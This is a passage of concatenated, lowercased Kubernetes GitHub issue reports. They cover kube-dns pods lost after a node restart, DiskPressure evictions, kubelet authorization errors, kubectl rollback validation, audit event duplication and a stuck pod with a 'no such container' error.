bootstrap-e2e-minion-group-ixxj  running            {initialized true 0001-01-01 00:00:00 +0000 utc 2016-11-18 13:33:44 -0800 pst  } {ready true 0001-01-01 00:00:00 +0000 utc 2016-11-18 14:19:18 -0800 pst  } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2016-11-18 14:18:42 -0800 pst  } \r i1118 14:24:48.530  nov 18 14:24:48.517: info: heapster-v1.2.0-2805816975-dll47                       bootstrap-e2e-minion-group-e7ao  running            {initialized true 0001-01-01 00:00:00 +0000 utc 2016-11-18 13:35:22 -0800 pst  } {ready true 0001-01-01 00:00:00 +0000 utc 2016-11-18 14:19:33 -0800 pst  } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2016-11-18 13:35:22 -0800 pst  } \r i1118 14:24:48.531  nov 18 14:24:48.517: info: kube-addon-manager-bootstrap-e2e-master                bootstrap-e2e-master             running            {initialized true 0001-01-01 00:00:00 +0000 utc 2016-11-18 13:32:38 -0800 pst  } {ready true 0001-01-01 00:00:00 +0000 utc 2016-11-18 13:32:50 -0800 pst  } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2016-11-18 13:32:38 -0800 pst  } \r i1118 14:24:48.531  nov 18 14:24:48.517: info: kube-apiserver-bootstrap-e2e-master                    bootstrap-e2e-master             running            {initialized true 0001-01-01 00:00:00 +0000 utc 2016-11-18 13:32:38 -0800 pst  } {ready true 0001-01-01 00:00:00 +0000 utc 2016-11-18 13:33:13 -0800 pst  } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2016-11-18 13:32:38 -0800 pst  } \r i1118 14:24:48.531  nov 18 14:24:48.517: info: kube-controller-manager-bootstrap-e2e-master           bootstrap-e2e-master             running            {initialized true 0001-01-01 00:00:00 +0000 utc 2016-11-18 13:32:38 -0800 pst  } {ready true 0001-01-01 00:00:00 +0000 utc 2016-11-18 13:32:43 -0800 pst  } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2016-11-18 13:32:38 -0800 pst  } \r i1118 14:24:48.531  nov 18 14:24:48.517: info: kube-dns-3616185523-9olcp                              bootstrap-e2e-minion-group-ixxj  running            {initialized true 0001-01-01 00:00:00 +0000 utc 2016-11-18 13:34:29 -0800 pst  } {ready true 0001-01-01 00:00:00 +0000 utc 2016-11-18 14:19:22 -0800 pst  } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2016-11-18 13:34:29 -0800 pst  } \r i1118 14:24:48.532  nov 18 14:24:48.517: info: kube-dns-autoscaler-2715466192-7ujy3                   bootstrap-e2e-minion-group-e7ao  running            {initialized true 0001-01-01 00:00:00 +0000 utc 2016-11-18 14:16:34 -0800 pst  } {ready true 0001-01-01 00:00:00 +0000 utc 2016-11-18 14:19:25 -0800 pst  } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2016-11-18 14:16:34 -0800 pst  } \r i1118 14:24:48.532  nov 18 14:24:48.517: info: kube-proxy-bootstrap-e2e-minion-group-e7ao             bootstrap-e2e-minion-group-e7ao  running            {initialized true 0001-01-01 00:00:00 +0000 utc 2016-11-18 13:33:44 -0800 pst  } {ready true 0001-01-01 00:00:00 +0000 utc 2016-11-18 14:18:44 -0800 pst  } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2016-11-18 14:18:41 -0800 pst  } \r i1118 14:24:48.532  nov 18 14:24:48.517: info: kube-proxy-bootstrap-e2e-minion-group-f09t             bootstrap-e2e-minion-group-f09t  running            {initialized true 0001-01-01 00:00:00 +0000 utc 2016-11-18 14:14:14 -0800 pst  } {ready true 0001-01-01 00:00:00 +0000 utc 2016-11-18 14:18:42 -0800 pst  } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2016-11-18 14:18:40 -0800 pst  } \r i1118 14:24:48.533  nov 18 14:24:48.517: info: kube-proxy-bootstrap-e2e-minion-group-ixxj             bootstrap-e2e-minion-group-ixxj  running            {initialized true 0001-01-01 00:00:00 +0000 utc 2016-11-18 13:33:46 -0800 pst  } {ready true 0001-01-01 00:00:00 +0000 utc 2016-11-18 14:18:45 -0800 pst  } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2016-11-18 14:18:42 -0800 pst  } \r i1118 14:24:48.533  nov 18 14:24:48.517: info: kube-scheduler-bootstrap-e2e-master                    bootstrap-e2e-master             running            {initialized true 0001-01-01 00:00:00 +0000 utc 2016-11-18 13:32:38 -0800 pst  } {ready true 0001-01-01 00:00:00 +0000 utc 2016-11-18 13:32:44 -0800 pst  } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2016-11-18 13:32:38 -0800 pst  } \r i1118 14:24:48.533  nov 18 14:24:48.517: info: kubernetes-dashboard-3697774758-q931c                  bootstrap-e2e-minion-group-f09t  running            {initialized true 0001-01-01 00:00:00 +0000 utc 2016-11-18 14:16:34 -0800 pst  } {ready true 0001-01-01 00:00:00 +0000 utc 2016-11-18 14:19:14 -0800 pst  } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2016-11-18 14:16:34 -0800 pst  } \r i1118 14:24:48.533  nov 18 14:24:48.517: info: l7-default-backend-2234341178-ir0p8                    bootstrap-e2e-minion-group-ixxj  running            {initialized true 0001-01-01 00:00:00 +0000 utc 2016-11-18 13:34:28 -0800 pst  } {ready true 0001-01-01 00:00:00 +0000 utc 2016-11-18 14:19:13 -0800 pst  } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2016-11-18 13:34:28 -0800 pst  } \r i1118 14:24:48.534  nov 18 14:24:48.517: info: l7-lb-controller-v0.8.0-bootstrap-e2e-master           bootstrap-e2e-master             running            {initialized true 0001-01-01 00:00:00 +0000 utc 2016-11-18 13:32:38 -0800 pst  } {ready true 0001-01-01 00:00:00 +0000 utc 2016-11-18 13:33:11 -0800 pst  } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2016-11-18 13:32:38 -0800 pst  } \r i1118 14:24:48.534  nov 18 14:24:48.517: info: monitoring-influxdb-grafana-v4-49jz8                   bootstrap-e2e-minion-group-ixxj  running            {initialized true 0001-01-01 00:00:00 +0000 utc 2016-11-18 13:34:28 -0800 pst  } {ready true 0001-01-01 00:00:00 +0000 utc 2016-11-18 14:19:13 -0800 pst  } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2016-11-18 13:34:28 -0800 pst  } \r i1118 14:24:48.534  nov 18 14:24:48.517: info: node-problem-detector-v0.1-0ffdy                       bootstrap-e2e-minion-group-f09t  running            {initialized true 0001-01-01 00:00:00 +0000 utc 2016-11-18 14:14:14 -0800 pst  } {ready true 0001-01-01 00:00:00 +0000 utc 2016-11-18 14:18:43 -0800 pst  } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2016-11-18 14:14:19 -0800 pst  } \r i1118 14:24:48.534  nov 18 14:24:48.517: info: node-problem-detector-v0.1-0ivtu                       bootstrap-e2e-minion-group-ixxj  running            {initialized true 0001-01-01 00:00:00 +0000 utc 2016-11-18 13:33:44 -0800 pst  } {ready true 0001-01-01 00:00:00 +0000 utc 2016-11-18 14:18:45 -0800 pst  } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2016-11-18 13:33:49 -0800 pst  } \r i1118 14:24:48.535  nov 18 14:24:48.517: info: node-problem-detector-v0.1-8bu64                       bootstrap-e2e-master             running            {initialized true 0001-01-01 00:00:00 +0000 utc 2016-11-18 13:33:26 -0800 pst  } {ready true 0001-01-01 00:00:00 +0000 utc 2016-11-18 13:33:29 -0800 pst  } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2016-11-18 13:33:29 -0800 pst  } \r i1118 14:24:48.535  nov 18 14:24:48.517: info: node-problem-detector-v0.1-ly3u0                       bootstrap-e2e-minion-group-e7ao  running            {initialized true 0001-01-01 00:00:00 +0000 utc 2016-11-18 13:33:44 -0800 pst  } {ready true 0001-01-01 00:00:00 +0000 utc 2016-11-18 14:18:44 -0800 pst  } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2016-11-18 13:33:50 -0800 pst  } \r i1118 14:24:48.535  nov 18 14:24:48.517: info: rescheduler-v0.2.1-bootstrap-e2e-master                bootstrap-e2e-master             running            {initialized true 0001-01-01 00:00:00 +0000 utc 2016-11-18 13:32:38 -0800 pst  } {ready true 0001-01-01 00:00:00 +0000 utc 2016-11-18 13:32:55 -0800 pst  } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2016-11-18 13:32:38 -0800 pst  } \r    \r \r 2 kube-dns pods went away after the node restart. this seems related to the new kube-dns autoscaler. i haven't dig much, a wild guess is that the autoscaler thought that there were less nodes and scale down kubedns during the restart.\r \r @mrhohn \r /cc @kubernetes/sig-network

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r   >  \r \r   what happened  :\r e2e test panic in test\r   what you expected to happen  :\r no panic \r   how to reproduce it  as minimally and precisely as possible   :\r \r start \   feature:manualperformance  should be able to handle 3 pods per node\  e2e test \r on a 3-node cluster\r   anything else we need to know?  :\r panic info :\r ! 2017-08-15 11 18 07  https://user-images.githubusercontent.com/2142864/29303051-287b4ca2-81bc-11e7-9379-540259086595.png \r \r after some digging find why. because the cluster size is 3 that d is 0 in https://github.com/kubernetes/kubernetes/blob/master/test/e2e/scalability/load.go l520\r sleepupto func which causes rand.int63n panic\r happy to fix this.\r   environment  :\r - kubernetes version  use  kubectl version  :1.7.3 \r - cloud provider or hardware configuration  :  bare-metal\r - os  e.g. from /etc/os-release : ubuntu\r - kernel  e.g.  uname -a  : 16.04 \r - install tools: kubeadm\r - others:

 \r   what happened  :\r kubernetes getting into state diskpressure=true and evicting pods but i can't identify high usage of nodefs, neither disk space or inodes:\r \r    \r conditions:\r   type\t\t\tstatus\tlastheartbeattime\t\t\tlasttransitiontime\t\t\treasonmessage\r   ----\t\t\t------\t-----------------\t\t\t------------------\t\t\t-------------\r   networkunavailable \tfalse \tmon, 11 sep 2017 16:53:09 -0300 \tmon, 11 sep 2017 16:53:09 -0300 \troutecreated \t\t\troutecontroller created a route\r   outofdisk \t\tfalse \ttue, 12 sep 2017 09:03:34 -0300 \tmon, 11 sep 2017 16:53:07 -0300 \tkubelethassufficientdisk \tkubelet has sufficient disk space available\r   memorypressure \tfalse \ttue, 12 sep 2017 09:03:34 -0300 \tmon, 11 sep 2017 16:53:07 -0300 \tkubelethassufficientmemory \tkubelet has sufficient memory available\r   diskpressure \t\ttrue \ttue, 12 sep 2017 09:03:34 -0300 \ttue, 12 sep 2017 09:01:13 -0300 \tkubelethasdiskpressure \t\tkubelet has disk pressure\r   ready \t\ttrue \ttue, 12 sep 2017 09:03:34 -0300 \tmon, 11 sep 2017 16:53:27 -0300 \tkubeletready \t\t\tkubelet is posting ready status\r    \r \r    \r admin@ip-172-22-xx-xx:~$ df -h\r filesystem      size  used avail use% mounted on\r udev             11m     0   11m   0% /dev\r tmpfs           3.2g  2.7m  3.2g   1% /run\r /dev/xvda1       41g  5.2g   34g  14% /\r tmpfs           7.9g     0  7.9g   0% /dev/shm\r tmpfs           5.3m     0  5.3m   0% /run/lock\r tmpfs           7.9g     0  7.9g   0% /sys/fs/cgroup\r admin@ip-172-22-xx-xx:~$ df -hi\r filesystem     inodes iused ifree iuse% mounted on\r udev             2.0m   308  2.0m    1% /dev\r tmpfs            2.0m  1.5k  2.0m    1% /run\r /dev/xvda1        11m  365k   11m    4% /\r tmpfs            2.0m     1  2.0m    1% /dev/shm\r tmpfs            2.0m     4  2.0m    1% /run/lock\r tmpfs            2.0m    15  2.0m    1% /sys/fs/cgroup\r    \r \r node had ~30 pods on it, 25 of them using the same image that has approximately 2gb.\r \r   what you expected to happen  :\r node stop evicting pods.\r \r   how to reproduce it  as minimally and precisely as possible   :\r i've created a cluster in ap-northeast-1  tokyo  in aws using kops and created a lot of pods with the same image on it.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.7.5\r - cloud provider or hardware configuration  : aws\r - os  e.g. from /etc/os-release : debian jessie\r - kernel  e.g.  uname -a  : linux ip-172-22-44-11 4.4.78-k8s  1 smp fri jul 28 01:28:39 utc 2017 x86_64 gnu/linux\r - install tools: kops\r - others: c4.2xlarge instances with 40gb ebs as root disk\r

\r kubectl version\r client version: version.info{major:\ 1\ , minor:\ 8+\ , gitversion:\ v1.8.0-beta.1\ , gitcommit:\ 8c025bc2f23a3be059bf9a7d05867a8cb6f52ea8\ , gittreestate:\ clean\ , builddate:\ 2017-09-08t01:23:23z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8+\ , gitversion:\ v1.8.0-beta.1\ , gitcommit:\ 8c025bc2f23a3be059bf9a7d05867a8cb6f52ea8\ , gittreestate:\ clean\ , builddate:\ 2017-09-08t01:06:51z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r    \r kubectl get csr\r name                                                   age       requestor           condition\r node-csr-2whynz0prdr_xovkt_5arexvjsrs73-wljahzr6e02q   1h        kubelet-bootstrap   approved,issued\r node-csr-dhurw92efap0oimmjdedt7u4mqpuqpo5ssoinq__j9o   1h        kubelet-bootstrap   approved,issued\r node-csr-vtmkxntiaeno2otzt4aave5dago7x9drb2rp5r-pjli   1h        kubelet-bootstrap   approved,issued\r \r    \r \r \r    \r kubectl get nodes\r no resources found.\r \r    \r \r \r    \r journalctl -f -t kubelet\r -- logs begin at 二 2017-09-19 19:54:59 cst. --\r 9月 19 17:08:24 k8s-master-25 kubelet 8979 : e0919 17:08:24.982773    8979 eviction_manager.go:238  eviction manager: unexpected err: failed to get node info: node '172.16.1.25' not found\r 9月 19 17:08:25 k8s-master-25 kubelet 8979 : e0919 17:08:25.396197    8979 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/config/apiserver.go:47: failed to list  v1.pod: pods is forbidden: user \ system:node:172.16.1.25\  cannot list pods at the cluster scope.\r 9月 19 17:08:25 k8s-master-25 kubelet 8979 : e0919 17:08:25.396923    8979 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/kubelet.go:411: failed to list  v1.service: services is forbidden: user \ system:node:172.16.1.25\  cannot list services at the cluster scope.\r 9月 19 17:08:25 k8s-master-25 kubelet 8979 : e0919 17:08:25.397874    8979 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/kubelet.go:420: failed to list  v1.node: nodes is forbidden: user \ system:node:172.16.1.25\  cannot list nodes at the cluster scope.\r 9月 19 17:08:26 k8s-master-25 kubelet 8979 : e0919 17:08:26.397968    8979 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/config/apiserver.go:47: failed to list  v1.pod: pods is forbidden: user \ system:node:172.16.1.25\  cannot list pods at the cluster scope.\r 9月 19 17:08:26 k8s-master-25 kubelet 8979 : e0919 17:08:26.398638    8979 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/kubelet.go:411: failed to list  v1.service: services is forbidden: user \ system:node:172.16.1.25\  cannot list services at the cluster scope.\r 9月 19 17:08:26 k8s-master-25 kubelet 8979 : e0919 17:08:26.399732    8979 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/kubelet.go:420: failed to list  v1.node: nodes is forbidden: user \ system:node:172.16.1.25\  cannot list nodes at the cluster scope.\r 9月 19 17:08:26 k8s-master-25 kubelet 8979 : i0919 17:08:26.515129    8979 kubelet_node_status.go:276  setting node annotation to enable volume controller attach/detach\r 9月 19 17:08:26 k8s-master-25 kubelet 8979 : i0919 17:08:26.517605    8979 kubelet_node_status.go:83  attempting to register node 172.16.1.25\r 9月 19 17:08:26 k8s-master-25 kubelet 8979 : e0919 17:08:26.518896    8979 kubelet_node_status.go:107  unable to register node \ 172.16.1.25\  with api server: nodes is forbidden: user \ system:node:172.16.1.25\  cannot create nodes at the cluster scope.\r 9月 19 17:08:27 k8s-master-25 kubelet 8979 : e0919 17:08:27.399348    8979 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/config/apiserver.go:47: failed to list  v1.pod: pods is forbidden: user \ system:node:172.16.1.25\  cannot list pods at the cluster scope.\r 9月 19 17:08:27 k8s-master-25 kubelet 8979 : e0919 17:08:27.400363    8979 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/kubelet.go:411: failed to list  v1.service: services is forbidden: user \ system:node:172.16.1.25\  cannot list services at the cluster scope.\r 9月 19 17:08:27 k8s-master-25 kubelet 8979 : e0919 17:08:27.401495    8979 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/kubelet.go:420: failed to list  v1.node: nodes is forbidden: user \ system:node:172.16.1.25\  cannot list nodes at the cluster scope.\r 9月 19 17:08:28 k8s-master-25 kubelet 8979 : e0919 17:08:28.400778    8979 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/config/apiserver.go:47: failed to list  v1.pod: pods is forbidden: user \ system:node:172.16.1.25\  cannot list pods at the cluster scope.\r 9月 19 17:08:28 k8s-master-25 kubelet 8979 : e0919 17:08:28.401667    8979 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/kubelet.go:411: failed to list  v1.service: services is forbidden: user \ system:node:172.16.1.25\  cannot list services at the cluster scope.\r 9月 19 17:08:28 k8s-master-25 kubelet 8979 : e0919 17:08:28.402810    8979 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/kubelet.go:420: failed to list  v1.node: nodes is forbidden: user \ system:node:172.16.1.25\  cannot list nodes at the cluster scope.\r 9月 19 17:08:29 k8s-master-25 kubelet 8979 : e0919 17:08:29.402208    8979 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/config/apiserver.go:47: failed to list  v1.pod: pods is forbidden: user \ system:node:172.16.1.25\  cannot list pods at the cluster scope.\r 9月 19 17:08:29 k8s-master-25 kubelet 8979 : e0919 17:08:29.403177    8979 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/kubelet.go:411: failed to list  v1.service: services is forbidden: user \ system:node:172.16.1.25\  cannot list services at the cluster scope.\r 9月 19 17:08:29 k8s-master-25 kubelet 8979 : e0919 17:08:29.404217    8979 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/kubelet.go:420: failed to list  v1.node: nodes is forbidden: user \ system:node:172.16.1.25\  cannot list nodes at the cluster scope.\r 9月 19 17:08:30 k8s-master-25 kubelet 8979 : e0919 17:08:30.403541    8979 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/config/apiserver.go:47: failed to list  v1.pod: pods is forbidden: user \ system:node:172.16.1.25\  cannot list pods at the cluster scope.\r 9月 19 17:08:30 k8s-master-25 kubelet 8979 : e0919 17:08:30.404556    8979 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/kubelet.go:411: failed to list  v1.service: services is forbidden: user \ system:node:172.16.1.25\  cannot list services at the cluster scope.\r 9月 19 17:08:30 k8s-master-25 kubelet 8979 : e0919 17:08:30.405601    8979 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/kubelet.go:420: failed to list  v1.node: nodes is forbidden: user \ system:node:172.16.1.25\  cannot list nodes at the cluster scope.\r \r    \r \r \r \r \r pls help me  !

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >  \r \r \r   what happened  :\r time  kubectl get pod -n qinzhao\r name                                                ready     status     restarts   age\r cifid-h1brxegb7z-cisid-h1t4exbxb-mbwdt-w98mj        0/1       init:0/1   0          11s\r cifid-tyyrtjuzwlns-cisid-gjudsxsu3rmf-hbqx0-mgw9c   0/1       init:0/1   0          13s\r \r real    0m10.480s\r user    0m5.895s\r sys    0m0.460s\r  root@master-test-105 tmp   \r  root@master-test-105 tmp   \r  root@master-test-105 tmp   \r  root@master-test-105 tmp   \r  root@master-test-105 tmp   \r  root@master-test-105 tmp   time  kubectl get pod -n  lijiaob-space2\r name                        ready     status    restarts   age\r sshproxy-2055042783-0vpfw   1/1       running   0          2h\r webshell2-348936596-dqpfg   1/1       running   0          2h\r \r real    0m0.325s\r user    0m0.221s\r sys    0m0.035s\r \r different namespaces, time cost different\r \r   what you expected to happen  :\r every namespace cost equal time\r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r kubectl version\r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.0\ , gitcommit:\ 6e937839ac04a38cac63e6a7a306c5d035fe7b0a\ , gittreestate:\ clean\ , builddate:\ 2017-09-28t22:57:57z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7+\ , gitversion:\ v1.7.6-custom\ , gitcommit:\ edfa36536aae18a8821cd5eeab13741e0291bb79\ , gittreestate:\ clean\ , builddate:\ 2017-11-08t08:50:56z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r

is this a bug report or feature request?  :\r  \r   what happened  :\r according to document https://kubernetes.io/docs/concepts/cluster-administration/network-plugins/ kubenet i am configuring kubelet to use exactly network plugins directory. but kubelet confugured to run with '--network-plugin-dir' flag returns a message\r    \r unknown flag: --network-plugin-dir\r    \r \r   what you expected to happen  :\r kubelet started\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r 1.9.2\r - os  e.g. from /etc/os-release :\r debian 9.3

we  copy  https://github.com/kubernetes/kubernetes/blob/f8298702ffe644a4f021e23a616ad6a8790a5537/staging/src/k8s.io/apiserver/pkg/audit/request.go l175  the  responseobject  into the  responsestatus  field of audit events. this was done to capture the response status even when the response is omitted, but results in  potentially large  duplicate data being sent. in some examples, the status message is repeated in the status details, resulting in a long message being duplicated 4 times.\r \r i suggest that rather than copying the whole responsestatus, we selectively copy the bounded fields, specifically:\r - status\r - reason\r - code\r \r note that this is a breaking change, and if there is agreement should be done before graduating audit to stable.\r \r   /

currently there are no easy way to list all the authorization for specific subject. this makes our security audits harder on large clusters. \r this issue is created to discuss the possibility of introducing a  subjectrulesreview  to ease the work of security teams. for a given subject a  subjectrulesreview  would be associated and would contains the projection of cluster-wide authorizations .\r \r /assign\r  \r cc @tallclair @liggitt

is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r   >  \r \r   what happened  :\r when rollback to a nonexistent revision , like below, the output shows the deloyment and i assume it was successful:\r    \r  root@hpa-vm:/home/yaml $ kubectl rollout undo deploy/nginx-deployment --to-revision=3\r deployment.extensions/nginx-deployment\r    \r actually, the rollback does not occur\r it should return error like:  no specified revision found\r we should add a validation for the revision before rollback\r https://github.com/kubernetes/kubernetes/blob/b1e15b4d98f55d6c1cbb5da58244790c0a80a8a4/pkg/kubectl/rollback.go l107-l124\r \r   what you expected to happen  :\r    \r  root@hpa-vm:/home/yaml $ kubectl rollout undo deploy/nginx-deployment \r error: no rollout history found for deployment \ nginx-deployment\ \r    \r \r   how to reproduce it  as minimally and precisely as possible   :\r 1. deploy a deployment\r 2. rollback to a nonexistent revision\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

kubelet and system-reserve are implemented on windows along with pod/container reserves which can help prevent overprovisioning, but we still need to test oom behavior. we need a test case that will:\r \r 1. set kubelet & system reserve\r 2. schedule pods until node is full\r 3. run something that will take up system ram so that oom is triggered\r \r  /milestone v1.14

i've install and configure kuberenetes on top of coreos cluster based on  this article  https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-kubernetes-on-top-of-a-coreos-cluster .  i see in similar  issues that maybe the problem is dependency of kubelet service on docker but after removing dependency same error occured when i run different commends like this:      ./kubectl get pods  error: couldn't read version from server: get http://localhost:8080/api: dial tcp 127.0.0.1:8080: connection refused      could anybody help me overcome this issue?

currently kubectl looks for files with extensions .yaml, .yml, and .json, and kubelet reads .manifest files, at least by convention, for legacy reasons.  none of these extensions indicate that the files are kubernetes-specific. ironically, we don't even use the extensions to infer the encoding type -- a .json file could contain yaml, for instance.  as users build preprocessors and/or adopt higher-level orchestration tools  e.g., nulecule, terraform, deployment manager , they'll use config files of multiple formats, consumed by multiple systems. we should choose an extension that makes it clear that the files can be consumed by kubectl.  how about .kube?  openshift uses the same format and tooling. would it use .kube files, or choose a different extension, such as .os?  or should we choose something more neutral, like .sic -- self-identifying config  contains apiversion and kind ?  @smarterclayton

per  19394.  you can turn off update checking altogether:      $ export cloudsdk_component_manager_disable_update_check=true $ gcloud ...      we should investigate if/how to do this for all of our tests, and perhaps for all invocations of  gcloud .

right now we have many different mechanisms for api object settings. the two mentioned are totally redundant, but one controls the binary and one controls tests, they are implemented very different ways, though. obviously that's very undesirable from the viewpoint of wanting our tests to test the thing we run.  we need to make the whole hierarchy sensible, but these two things are especially bad.

right now, we do not seem to copy etcd-events.log  if it exists . would it be okay to have its log included in artifacts, as it might help debugging flaky tests?\r also, the log file is not very big and is typically around a few tens of lines, just like etcd.\r \r @kubernetes/sig-scalability-misc @wojtek-t @gmarek

what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r \ error syncing pod\  \ no such container\ \r \r ---\r \r   is this a bug report or feature request?    choose one :  bug report\r \r   kubernetes version    use  kubectl version  :\r \r    \r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.1\ , gitcommit:\ b0b7a323cc5a4a2019b2e9520c21c7830b7f708e\ , gittreestate:\ clean\ , builddate:\ 2017-04-03t20:44:38z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.2\ , gitcommit:\ 477efc3cbe6a7effca06bd1452fa356e2201e1ee\ , gittreestate:\ clean\ , builddate:\ 2017-04-19t20:22:08z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  :\r -   cloud provider or hardware configuration  : aws\r -   os    e.g. from /etc/os-release : ubuntu 16.04.1 lts\r -   kernel    e.g.  uname -a  :  4.4.0-36-generic x86_64\r -   install tools  : kops 1.6.0-beta.1\r -   others  :\r \r \r   what happened  :\r \r a pod was restarted a few times  it was killed by the kernel due to running out of memory . after the last restart, the pod appears stuck in an error state.\r \r    \r ~$ kubectl -n master get pods dhrubacol11222268508-leaf-0-84612\r name                                ready     status    restarts   age\r dhrubacol11222268508-leaf-0-84612   0/1       error     3          16h\r     \r \r kubectl describe shows a \ no such container\  error:\r \r    \r   firstseen     lastseen        count   from                                                    subobjectpath   type            reason          message\r   ---------     --------        -----   ----                                                    -------------   --------        ------          -------\r   1h            5s              346     kubelet, ip-172-20-39-143.us-west-2.compute.internal                    warning         failedsync      error syncing pod, skipping: rpc error: code = 2 desc = error: no such container: bedfcb3556065064b60471b8ebb73b09c1c450cfd4d07a087a45ba5d8e83dd2f\r    \r \r kubectl logs show the logs from the last iteration of the pod  the one that finished 1 hour ago .\r \r interestingly, the pod is actually running; kubectl exec lets me enter the pod.\r \r \r   what you expected to happen  :\r \r i expected the pod to be restarted.\r \r   how to reproduce it    as minimally and precisely as possible :\r \r does not appear reproducible. this has happened twice to us so far; deleting the pod by hand fixed the problem.\r \r   anything else we need to know  :\r \r note the following in the kubelet logs  more details below :\r \r at 22:01:58, the pod dies. the container id starts with  bedfcb ...\r at 22:29:55, the pod dies again; the container id starts with  a102f9 ...\r at 22:30:25, getpodcontainerstatuses stats failing, but the container id is from a previous iteration of the pod -- the one that died at 22:01, not the one that died at 22:29.\r \r    \r may 10 22:01:58 ip-172-20-39-143 kubelet 9126 : i0510 22:01:58.521978    9126 kubelet.go:1842  syncloop  pleg : \ dhrubacol11222268508-leaf-0-84612_master da61dd55-3551-11e7-b03c-0207e1349dc2 \ , event: &pleg.podlifecycleevent{id:\ da61dd55-3551-11e7-b03c-0207e1349dc2\ , type:\ containerdied\ , data:\ bedfcb3556065064b60471b8ebb73b09c1c450cfd4d07a087a45ba5d8e83dd2f\ }\r may 10 22:29:55 ip-172-20-39-143 kubelet 9126 : i0510 22:29:55.428792    9126 kubelet.go:1842  syncloop  pleg : \ dhrubacol11222268508-leaf-0-84612_master da61dd55-3551-11e7-b03c-0207e1349dc2 \ , event: &pleg.podlifecycleevent{id:\ da61dd55-3551-11e7-b03c-0207e1349dc2\ , type:\ containerdied\ , data:\ a102f91130d14cd4c1040fa7957e174190cb6fe531136f939b436ff337af3082\ }\r may 10 22:30:03 ip-172-20-39-143 kubelet 9126 : i0510 22:30:03.368974    9126 kuberuntime_manager.go:742  checking backoff for container \ leafagg\  in pod \ dhrubacol11222268508-leaf-0-84612_master da61dd55-3551-11e7-b03c-0207e1349dc2 \ \r may 10 22:30:25 ip-172-20-39-143 kubelet 9126 : e0510 22:30:25.969445    9126 kuberuntime_manager.go:858  getpodcontainerstatuses for pod \ dhrubacol11222268508-leaf-0-84612_master da61dd55-3551-11e7-b03c-0207e1349dc2 \  failed: rpc error: code = 2 desc = error: no such container: bedfcb3556065064b60471b8ebb73b09c1c450cfd4d07a087a45ba5d8e83dd2f\r may 10 22:30:25 ip-172-20-39-143 kubelet 9126 : e0510 22:30:25.969466    9126 generic.go:239  pleg: ignoring events for pod dhrubacol11222268508-leaf-0-84612/master: rpc error: code = 2 desc = error: no such container: bedfcb3556065064b60471b8ebb73b09c1c450cfd4d07a087a45ba5d8e83dd2f\r may 10 22:30:27 ip-172-20-39-143 kubelet 9126 : e0510 22:30:27.304149    9126 kuberuntime_manager.go:858  getpodcontainerstatuses for 